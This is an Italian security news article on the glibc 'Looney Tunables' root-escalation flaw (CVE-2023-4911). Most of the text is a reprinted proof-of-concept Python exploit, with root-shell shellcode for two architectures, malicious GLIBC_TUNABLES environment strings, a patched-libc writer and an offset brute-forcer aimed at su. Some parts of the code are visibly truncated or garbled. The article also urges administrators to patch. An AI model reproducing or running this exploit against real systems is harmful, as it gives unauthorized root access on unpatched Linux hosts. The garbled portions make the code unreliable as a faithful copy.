Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Cerca

Linux Looney Tunables: l’exploit è fuori e il livello di utilizzo è veramente basso

Redazione RHC : 6 Ottobre 2023 16:22

Prima che avessimo il tempo di parlarvi della vulnerabilità “Looney Tunables”, tracciata con l’identificatore CVE-2023-4911, su Internet era già apparso un exploit PoC che consente di sfruttare con successo questa vulnerabilità in un attacco reale.

Inoltre, la complessità dello sfruttamento della vulnerabilità è a un livello estremamente basso: anche un hacker alle prime armi può farcela. Il codice lo trovate più avanti.

Looney Tunables consente agli aggressori di ottenere privilegi di root sui sistemi Linux sfruttando un difetto di buffer overflow. La falla di sicurezza colpisce le installazioni standard di Debian 12 e 13, Ubuntu 22.04 e 23.04 e Fedora 37 e 38.

Prompt Engineering & Sicurezza: diventa l’esperto che guida l’AI

Vuoi dominare l’AI generativa e usarla in modo sicuro e professionale? Con il Corso Prompt Engineering: dalle basi alla cybersecurity, guidato da Luca Vinciguerra, data scientist ed esperto di sicurezza informatica, impari a creare prompt efficaci, ottimizzare i modelli linguistici e difenderti dai rischi legati all’intelligenza artificiale. Un percorso pratico e subito spendibile per distinguerti nel mondo del lavoro.
Non restare indietro: investi oggi nelle tue competenze e porta il tuo profilo professionale a un nuovo livello.
Guarda subito l'anteprima gratuita del corso su academy.redhotcyber.com
Contattaci per ulteriori informazioni tramite WhatsApp al 375 593 1011 oppure scrivi a [email protected]



Supporta RHC attraverso:

  1. L'acquisto del fumetto sul Cybersecurity Awareness
  2. Ascoltando i nostri Podcast
  3. Seguendo RHC su WhatsApp
  4. Seguendo RHC su Telegram
  5. Scarica gratuitamente "Dark Mirror", il report sul ransomware di Dark Lab

Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì.
 

I criminali informatici possono sfruttare la vulnerabilità utilizzando una variabile di ambiente dannosa “GLIBC_TUNABLES” gestita dal loader dinamico “ld.so” per causare l’esecuzione di codice arbitrario come root quando si eseguono file binari con autorizzazione SUID.

Uno degli exploit PoC, già confermato e funzionante dall’esperto di vulnerabilità Will Dohrmann, è stato pubblicato dal ricercatore indipendente sulla sicurezza Peter Geissler con lo pseudonimo di “blasty”.

#
# gnu-acme.py
# ------------------------------------------------------------------------------
# my (bad) attempt at a CVE-2023-4911 exploit
# based on the advisory[1] by Qualys and thumb sucking
#
# if you disable aslr (echo 0 > /proc/sys/kernel/randomize_va_space) it will
# attempt to identify a workable offset for your ld.so, you can add it to TARGETS
#
# tested on glibc 2.35-0ubuntu3 (aarch64) and glibc 2.36-9+deb12u2 (amd64)
#
# enjoy, maybe? and don't ask for support :)
#
# -- blasty 
#
# [1]: https://www.qualys.com/2023/10/03/CVE-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
#

import binascii
import resource
import struct
import select
import time

import sys
import os

from ctypes import *
from ctypes.util import find_library
from shutil import which

unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))

# setresuid(euid, euid, euid); execve("/bin/sh", ["sh", NULL], NULL);
# exit(0x66)
ARCH = {
    "x86_64": {
        "shellcode": unhex(
            "6a6b580f0589c789c289c66a75580f05"
            + "6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
        ),
        "exitcode": unhex("6a665f6a3c580f05"),
        "stack_top": 0x800000000000,
        "stack_aslr_bits": 34,
    },
    "aarch64": {
        "shellcode": unhex(
            "e81580d2010000d4e10300aae20300aa681280d2010000d4"
            + "ee458cd22ecdadf2eee5c5f2ee65eef20f0d80d2ee3fbfa9e0030091e1031faae2031faaa81b80d2010000d4"
        ),
        "exitcode": unhex("c00c80d2a80b80d2010000d4"),
        "stack_top": 0x1000000000000,
        "stack_aslr_bits": 30,
    },
}

TARGETS = {
    "a8daca28288575ffc8c7641d40901b0148958fb1": 580,
    "a99db3715218b641780b04323e4ae5953d68a927": 561,
}

libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
resource.setrlimit(
    resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)
)


def error(s):
    print("error: %s" % s)
    exit(-1)


def find_hax_path(blob, offset):
    pos = offset
    while pos > 0:
        if blob[pos] != 0 and blob[pos] != 0x2F and blob[pos + 1] == 0:
            return {"path": bytes([blob[pos]]), "offset": pos - offset}
        pos = pos - 1
    return None


def lolstruct(format, keys, data):
    return dict(zip(keys.split(" "), struct.unpack(format, data)))


def lib_path(libname):
    class LINKMAP(Structure):
        _fields_ = [("l_addr", c_void_p), ("l_name", c_char_p)]

    lib = CDLL(find_library("c"))
    libdl = CDLL(find_library("dl"))
    dlinfo = libdl.dlinfo
    dlinfo.argtypes = c_void_p, c_int, c_void_p
    dlinfo.restype = c_int
    lmptr = c_void_p()
    dlinfo(lib._handle, 2, byref(lmptr))
    return cast(lmptr, POINTER(LINKMAP)).contents.l_name


def execve(filename, cargv, cenvp):
    libc.execve(filename, cargv, cenvp)


def spawn(filename, argv, envp):
    cargv = (c_char_p * len(argv))(*argv)
    cenvp = (c_char_p * len(envp))(*envp)
    child_pid = os.fork()
    # child
    if not child_pid:
        execve(filename, cargv, cenvp)
        exit(0)

    # parent
    start_time = time.time()
    while True:
        try:
            pid, status = os.waitpid(child_pid, os.WNOHANG)
            if pid == child_pid:
                if os.WIFEXITED(status):
                    return os.WEXITSTATUS(status) & 0xFF7F
                else:
                    return 0
        except:
            pass
        current_time = time.time()
        if current_time - start_time >= 1.5:
            print("** ohh... looks like we got a shell? **\n")
            os.waitpid(child_pid, 0)
            return 0x1337


class lazy_elf:
    def __init__(self, filename):
        self.d = open(filename, "rb").read()
        self.h = lolstruct(
            " 0


def build_env(adjust, addr, offset):
    # heap meh shui
    env = [
        b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
        b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
        b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
        b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
    ]

    for j in range(172):
        env.append(b"")

    env.append(struct.pack(" --      ")
    print("")


if __name__ == "__main__":
    banner()

    machine = os.uname().machine

    if machine not in ARCH.keys():
        error("architecture '%s' not supported" % machine)

    print("[i] libc = %s" % lib_path("c").decode())

    su_path = which("su")

    print("[i] su = %s" % su_path)

    suid_e = lazy_elf(su_path)

    ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode()

    ld_e = lazy_elf(ld_path)

    print("[i] ld.so = %s" % ld_path)

    ld_build_id = binascii.hexlify(
        ld_e.section_by_name(".note.gnu.build-id")[-20:]
    ).decode()

    print("[i] ld.so build id = %s" % ld_build_id)

    libc_e = lazy_elf(lib_path("c"))

    __libc_start_main = libc_e.symbol("__libc_start_main")

    print("[i] __libc_start_main = 0x%x" % __libc_start_main)

    offset = suid_e.shdr_by_name(".dynstr")["offset"]
    hax_path = find_hax_path(suid_e.d, offset)

    if hax_path is None:
        error("could not find hax path")

    print(
        "[i] using hax path %s at offset %d"
        % (
            hax_path["path"],
            hax_path["offset"],
        )
    )

    if ld_build_id not in TARGETS.keys():
        error("no target info found for build id %s" % ld_build_id)

    if not os.path.exists(hax_path["path"]):
        os.mkdir(hax_path["path"])

    argv = build_argv([su_path, "--help"])

    if not is_aslr_enabled():
        print("[i] ASLR is not enabled, attempting to find usable offsets")

        shellcode = ARCH[machine]["exitcode"]

        with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
            fh.write(libc_e.d[0:__libc_start_main])
            fh.write(shellcode)
            fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
        print("[i] wrote patched libc.so.6")

        stack_addr = ARCH[machine]["stack_top"] - 0x2000
        stack_addr += 0x103

        print("[i] using stack addr 0x%x" % stack_addr)

        for adjust in range(128, 1024):
            env = build_env(adjust, stack_addr, hax_path["offset"])
            r = spawn(su_path.encode(), argv, env)
            print("%d = %d" % (adjust, r))
            if r == 0x66:
                print(
                    "found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
                )

    else:
        shellcode = ARCH[machine]["shellcode"]

        with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
            fh.write(libc_e.d[0:__libc_start_main])
            fh.write(shellcode)
            fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
        print("[i] wrote patched libc.so.6")

        stack_addr = ARCH[machine]["stack_top"] - (
            1 > (i * 8)) & 0xFF == 0:
                stack_addr |= 0x10 

Anche altri ricercatori stanno sviluppando e pubblicando contemporaneamente i propri exploit per CVE-2023-4911 su GitHub e altre piattaforme.

“Il nostro riuscito sfruttamento che ha portato all’accesso root completo sulle principali distribuzioni come Fedora, Ubuntu e Debian sottolinea la gravità e la natura diffusa di questa vulnerabilità”, ha affermato Saeed Abbasi, product manager del team di ricerca sulle minacce di Qualys, il 3 ottobre

Sono stati gli esperti di Qualys i primi a identificare questa vulnerabilità.

Gli amministratori devono agire immediatamente e proteggere le installazioni Linux sotto il loro controllo il prima possibile a causa della significativa minaccia rappresentata da Looney Tunables.

Redazione
La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.

Lista degli articoli

Articoli in evidenza

Chat Control: tra caccia ai canali illegali e freno a mano su libertà e privacy
Di Sandro Sana - 16/09/2025

La notizia è semplice, la tecnologia no. Chat Control (CSAR) nasce per scovare CSAM e dinamiche di grooming dentro le piattaforme di messaggistica. La versione “modernizzata” rinuncia alla backdo...

Great Firewall sotto i riflettori: il leak che svela l’industrializzazione della censura cinese
Di Redazione RHC - 16/09/2025

A cura di Luca Stivali e Olivia Terragni. L’11 settembre 2025 è esploso mediaticamente,  in modo massivo e massiccio,  quello che può essere definito il più grande leak mai subito dal Great Fir...

Violazione del Great Firewall of China: 500 GB di dati sensibili esfiltrati
Di Redazione RHC - 15/09/2025

Una violazione di dati senza precedenti ha colpito il Great Firewall of China (GFW), con oltre 500 GB di materiale riservato che è stato sottratto e reso pubblico in rete. Tra le informazioni comprom...

Dal Vaticano a Facebook con furore! Il miracolo di uno Scam divino!
Di Redazione RHC - 15/09/2025

Negli ultimi anni le truffe online hanno assunto forme sempre più sofisticate, sfruttando non solo tecniche di ingegneria sociale, ma anche la fiducia che milioni di persone ripongono in figure relig...

Addio a Windows 10! Microsoft avverte della fine degli aggiornamenti dal 14 Ottobre
Di Redazione RHC - 15/09/2025

Microsoft ha ricordato agli utenti che tra un mese terminerà il supporto per l’amato Windows 10. Dal 14 ottobre 2025, il sistema non riceverà più aggiornamenti di sicurezza , correzioni di bug e ...